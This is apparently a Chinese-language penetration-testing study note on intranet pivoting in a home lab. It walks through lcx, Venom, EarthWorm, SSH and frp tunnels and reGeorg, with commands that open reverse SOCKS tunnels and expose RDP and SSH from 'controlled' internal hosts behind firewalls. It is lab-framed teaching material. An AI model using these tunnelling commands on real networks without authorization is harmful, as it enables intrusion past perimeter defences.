- 面试常问
- 一.概述
- 代理的本质是socks协议.
- 二.代理分类:
- **1.正向代理**
- **反向代理**
- 三.Lcx.exe内网端口转发
- **步骤**
- **linux系统作为转发**
- **window系统转发流量**
- 四.venom 内网穿透
- 1. 在物理机上使用admin.exe 监听本地的12345端口
- 2. kali linux 需要连接物理机的12345端口
- 3. 物理机进入kali linux 1节点 转发22331
- 4. sql server 连接kali linux的 22331端口
- 5.物理机进入sql server 2节点 转发32145
- 6. java虚拟机连接sql server的32145
- 10. 通过访问25612端口 就能够访问到节点3 (java bihuo虚拟机中的端口
- 11. proxfer工具
- 五.proxychains proxy 代理 全局代理工具
- 六.earthworm ===> 内网穿透
- 1. 全局流量代理
- 七. ngrok 把80端口映射到公网
- 八.ssh代理转发
- 1.ssh正向代理
- 2.ssh反向代理
- 九.frp 用的多
- 1.实验: 通过 SSH 访问内网机器
- 2.实验:通过自定义域名访问内网的 Web 服务
- 3. 对外提供简单的文件访问服务
- 4. 安全地暴露内网服务
- 十. regeorg
未经授权禁止任何渗透测试 面试常问
1.正向代理和反向代理的区别
2.正向代理和反向代理 常见出现位置
正向代理 客户端明确知道 存在一个中间代理服务器 反向代理 该代理对外表现就是一个服务器
一.概述利用代理工具将内网的流量代理到本地进行访问或者利用工具将其他网段的流量转发到本地进行纵向渗透
msf 中 portfwd
将目标主机上的端口转发到msf所在的服务器上
正向代理是将我们的流量转发给一个跳板,然后该跳板将我们发送给他的包转发给目标
比如我们国内访问***,直接访问访问不到,我们可以通过一个正向代理服务器,请求发到代理服务器,代理服务器能够访问**,这样由代理去取到返回数据,再返回给我们,这样我们就能访问了
正向代理用途
访问原来无法访问的资源,如****,公司内网
出差访问公司内网 vpnclient 分配公司内网的ip地址
对客户端访问授权,上网进行认证
代理可以记录用户访问记录(上网行为管理),对外隐藏用户信息
xxxx 上网行为管理
反向代理反向代理以代理服务器来处理来自网络上的连接请求,然后将请求转发到内部网络上的服务器,并将从内部服务器得到的结果返回给来自网络上的客户端,此时,代理服务器表现为一个服务器
反向代理的作用:
边界防火墙 nat
保证内网的安全,一定程度上阻止web攻击.
在大型网站中,通常将反向代理作为公网访问地址,而真正的Web服务器存在于内网之中.
负载均衡,通过反向代理服务器来优化网站的负载
bihuo 虚拟机 <=======> kali linux <=======> 物理机 物理机访问bihuo 虚拟机的3389端口 直接访问无法访问到 bihuo虚拟机: 主动将自身的3389端口的流量转发到kali linux 主机上的特定端口(11111) kali linux 虚拟机: 在11111端口监听来自于bihuo虚拟机3389的流量 将11111端口接收到的流量转发到kali linux 的22222端口 物理机: 访问kali linux 的22222端口 就可以获得bihuo虚拟机的3389端口的流量
下载lcx – linux 版本 portmap
linux系统作为转发- kali linux 虚拟机: 在11111端口监听来自于bihuo虚拟机3389的流量 将11111端口接收到的流量转发到kali linux 的22222端口
公网主机上执行:lcx.exe –listen 接收数据的端口 映射流量的端口,意思是监听公网主机本机的 11111端口请求,并将来自 11111 端口的请求传送给 22222 端口。
命令:
./portmap -m 2 -p1 11111 -p2 22222
- bihuo虚拟机: 主动将自身的3389端口的流量转发到kali linux 主机上的特定端口(11111)
内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口,意思是把内网主机的某端口转发到具有公网ip主机的 对应 端口。
开启3389
命令
lcx.exe -slave 192.168.0.142 1111 127.0.0.1 3389
3. 此时物理机直接访问:kaliIP:22222,即可转发到内网IP的3389
kali linux <=======> bihuo 虚拟机<=======> 物理机 物理机访问 kali linux 虚拟机的22端口 直接访问无法访问到 kali linux虚拟机: 主动将自身的22端口的流量转发到bihuo虚拟机的特定端口(11111) bihuo虚拟机: 在11111端口监听来自于kali linux虚拟机22的流量 将11111端口接收到的流量转发到bihuo虚拟机 的22222端口 物理机: 访问bihuo虚拟机的22222端口 就可以获得kali linux 虚拟机的22端口的流量
- bihuo虚拟机: 在11111端口监听来自于kali linux虚拟机22的流量 将11111端口接收到的流量转发到bihuo虚拟机 的22222端口
命令:
lcx.exe -listen 11111 22222
- kali linux虚拟机: 主动将自身的22端口的流量转发到bihuo虚拟机的特定端口(11111)
命令:
service ssh start # 开启22端口
命令:
./portmap lcx -m 3 -h1 127.0.0.1 -p1 22 -h2 192.168.0.3 -p2 11111
- 物理机: 访问bihuo虚拟机的22222端口 就可以获得kali linux 虚拟机的22端口的流量
访问
命令:
ssh kali@192.168.0.13 -p 22222四.venom 内网穿透
使用go开发的多级代理工具,可以将多个节点进行连接,然后以节点为跳板,构建多级代理.
bihuo java虚拟机(192.168.0.13)<======> sql server注入(192.168.0.21:32145) <======> kali linux(192.168.0.142:22331) <=======> 物理机(192.168.0.17:12345) 在物理机上使用admin.exe 监听本地的12345端口 kali linux 需要连接物理机的12345端口1. 在物理机上使用admin.exe 监听本地的12345端口
命令:
admin.exe -lport 123452. kali linux 需要连接物理机的12345端口
命令:
./agent_linux_x64 -rhost 192.168.0.17 -rport 123453. 物理机进入kali linux 1节点 转发22331
命令:
goto 1 listen 223314. sql server 连接kali linux的 22331端口
命令:
agent.exe -rhost 192.168.0.142 -rport 223315.物理机进入sql server 2节点 转发32145
命令:
goto 2 listen 321456. java虚拟机连接sql server的32145
命令:
agent.exe -rhost 192.168.0.21 -rport 32145
- show 拓扑
8. shell交互模式
9. help 帮助
命令:
物理机转发25612
goto 3 socks 25612
netstat -ano | findstr 25612 查看端口是否开启
venom 全局代理
socks 一次转发使用流量
- lforward 转发本地流量
lforward 是将admin.exe所在的主机的端口映射到内部节点的目标端口
命令:
lforward 127.0.0.1 80 8888
- rfprward 将sql server 虚拟机3389 转发 到物理机的3377
命令:
rfprward 192.168.0.21 3389 3377
upload 上传
命令
download 下载
明文连接
-passwd 增加密码 进行流量加密
命令
admin.exe -lport 12345 -passwd bihuo
命令:
./agent_linux_x64 -rhost 192.168.0.17 -rport 12345 -passwd bihuo
proxychains 目前支持的平台主要是 Linux 和 Mac。
chains 链条
将sql server 流量转发到33221
命令
socks 33221
命令:
vim /etc/proxychains.conf
EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。
专有主页: http://rootkiter.com/EarthWorm/
1. 全局流量代理普通网络环境:
1. 目标网络边界存在公网IP且可任意开监听端口:
命令
chmod +x ew_for_linux64 ./ew_for_linux64 -s ssocksd -l 8888
-
目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理
一台可控公网IPkali主机 可控内网主机bihuo-win7 +---------+ +--------------------------+ | +---------------+ |HackTools| ->> | 1080 -> 192.168.0.142 -> 8888 | 防火墙 | <-- 192.168.0.21 | +---------+ +--------------------------+ | +---------------+ kali) ./ew -s rcsocks -l 1080 -e 8888 // 在 192.168.0.142 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机 bihuo) ./ew -s rssocks -d 192.168.0.142 -e 8888 // 将目标网络的可控边界主机反向连接公网主机 c) HackTools 可通过访问 192.168.0142:1080 端口使用 rssocks 主机提供的 socks5 代理服务 -
kali linux作为中间主机 将1080接收的流量转发8888
mssql主动连接kali linux中间主机的8888端口
- 获得目标网络内两台主机 A、B 的权限,情况描述如下:
A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。
B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。
A 主机可直连 B 主机
物理机<<->> 一台可控公网IP主机(kali) <<------>> 可控内网主机(sql-server) <<------>>可访问指定资源的主机(java)
±--------+ ±-------------------------+ | ±----------------+ ±----------------+
|HackTools| ->> | 1080 -> 192.168.0.142 -> 8888 | 防火墙 | <-- 192.168.0.67 --> | ->> | 9999 -> 192.168.0.13 |
±--------+ ±-------------------------+ | ±----------------+ ±----------------+
a) ./ew -s lcx_listen -l 1080 -e 8888
// 在 192.168.0.142 公网主机添加转接隧道,将 1080 收到的代理请求
// 转交给反连 8888 端口的主机
b) ./ew -s ssocksd -l 9999
// 在 192.168.0.13 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
c) ./ew -s lcx_slave -d 192.168.0.142 -e 8888 -f 192.168.0.13 -g 9999
// 在 192.168.0.67 上,通过工具的 lcx_slave 方式,打通192.168.0.142:8888 和 192.168.0.13:9999 之间的通讯隧道
d) HackTools 可通过访问 192.168.0.142:1080 来使用 192.168.0.13 主机提供的 socks5 代理
https://dashboard.ngrok.com/signup
命令:
ngrok.exe http 80
-C 压缩传输,提高传输速度。 -f 将 SSH 传输转入后台执行,不占用当前 shell (不阻塞) -N 建立静默连接(建立了连接但看不到具体会话) -g 允许远程主机连接本地用于转发的端口。 -L 本地端口转发 -R 远程端口转发 -D 动态转发( SOCKS 代理) -p 指定 SSH 端口
查看端口开放命令:
netstat -ano | findstr 3389
- 配置kali 主机开启ssh服务
命令:
service ssh start
- 在物理机(攻击)执行对应的命令 利用ssh创建生成管道
192.168.0.13:3389ip是被转发目标的IP端口
命令:
ssh -CfNg -L 3388:192.168.0.13:3389 kali@192.168.0.142
3. 连接自己的3388
本地
ssh -CfNg -R ssh服务所在ip将要监听的端口:内网主机IP:内网主机端口 ssh用户名@ssh所在的ip
命令:
ssh -CfNg -R 8889:192.168.0.13:3389 kali@192.168.0.142
总结:
九.frp 用的多ssh 在attacker 执行命令 通过ssh 将内网中的端口映射到attacker的特定端口
反向代理: 被转发的主机通过 ssh 将自身的端口映射到ssh 所在主机的特定端口
https://github.com/fatedier/frp/releases
通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网,同时提供诸多专业的功能特性,这包括:
客户端服务端通信支持 TCP、KCP 以及 Websocket 等多种协议。
采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间。
代理组间的负载均衡。
端口复用,多个服务通过同一个服务端端口暴露。
多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等),便于独立使用 frp 客户端完成某些工作。
高度扩展性的服务端插件系统,方便结合自身需求进行功能扩展。
服务端和客户端 UI 页面。
如何用
frps bihuo java虚拟机 充当服务器
kali linux 充当被转发端口的主机
frps 是服务器 具有公网 IP 的节点
- frps bihuo java虚拟机监听7000端口
命令:
frps.exe -c ./frpc.ini
- 将kali linux 的端口通过frp转发到java 虚拟机的6000端口
命令:
./frpc -c ./frpc.ini
java虚拟机
7000端口等待连接
- 物理机连接java虚拟机7000端口
命令:
ssh -oPort=6000 kali@192.168.0.132.实验:通过自定义域名访问内网的 Web 服务
- 修改 frps.ini 文件,设置监听 HTTP 请求端口为 8080:
8080 映射web服务的
命令:
frps.exe -c ./frps.ini
- frpc 客户端
修改 frpc.ini 文件,假设 frps 所在的服务器的 IP 为 x.x.x.x,local_port 为本地机器上 Web 服务监听的端口, 绑定自定义域名为 yui -roge 。
[common] server_addr = 192.168.0.13 server_port = 7000 [web] type = http local_port = 80 custom_domains = www.roge.com [web2] type = http local_port = 8080 custom_domains = www.yui.com
命令:
./frpc -c ./frpc.ini
3. 通过浏览器访问 http://www.roge.com:8080 即可访问到处于内网机器上 80 端口的服务,访问 http://www.yui.com:8080 则访问到内网机器上 8080 端口的服务。
通过 static_file 插件可以对外提供一个简单的基于 HTTP 的文件访问服务。
- frps.ini 内容如下:
[common] bind_port = 8000
运行:
命令:
frps.exe -c ./frps.ini
- frpc.ini 内容如下:
[common] server_addr = 192.168.0.13 server_port = 8000 [test_static_file] type = tcp remote_port = 6000 plugin = static_file #要对外暴露的文件目录 plugin_local_path = /home/kali/Desktop #用户访问 URL 中会被去除的前缀,保留的内容即为要访问的文件路径 plugin_strip_prefix = static plugin_http_user = abc plugin_http_passwd = abc
运行:
命令:
./frpc -c ./frpc.ini
- 通过浏览器访问 http://192.168.0.13:6000/static/ 来查看位于 /home/kali/Desktop 目录下的文件,会要求输入已设置好的用户名和密码。
这个示例将会创建一个只有自己能访问到的 SSH 服务代理。
对于某些服务来说如果直接暴露于公网上将会存在安全隐患。
使用 stcp(secret tcp) 类型的代理可以避免让任何人都能访问到要穿透的服务,但是访问者也需要运行另外一个 frpc 客户端。
- frps.ini 内容如下:
[common] bind_port = 8000
命令:执行
frps.exe -c ./frps.ini
- 在需要暴露到内网的机器上部署 frpc,且配置如下:
[common] server_addr = 192.168.0.13 server_port = 8000 [secret_ssh] type = stcp #只有 sk 一致的用户才能访问到此服务 sk = bihuo local_ip = 127.0.0.1 local_port = 22
命令:执行
./frpc -c ./frpc.ini
- 在想要访问内网服务的机器上也部署 frpc,且配置如下:
[common]
server_addr = 192.168.0.13
server_port = 8000
[secret_ssh_visitor]
type = stcp
#stcp 的访问者
role = visitor
#要访问的 stcp 代理的名字
server_name = secret_ssh
sk = bihuo
#绑定本地端口用于访问 SSH 服务
bind_addr = 127.0.0.1
bind_port = 6000
命令:执行
./frpc -c ./frpc.ini
- 通过 SSH 访问内网机器,假设用户名为 bihuo:
ssh -oPort=6000 test@127.0.0.1
安装命令:
pip install urllib3
需要python2环境
将 bihuo java虚拟机的流量转发
将 bihuo java虚拟机的流量转发
命令:
python2 reGeorgSocksProxy.py -p 8383 -u http://192.168.0.13/tunnel.php
命令:
vim /etc/proxychains.conf



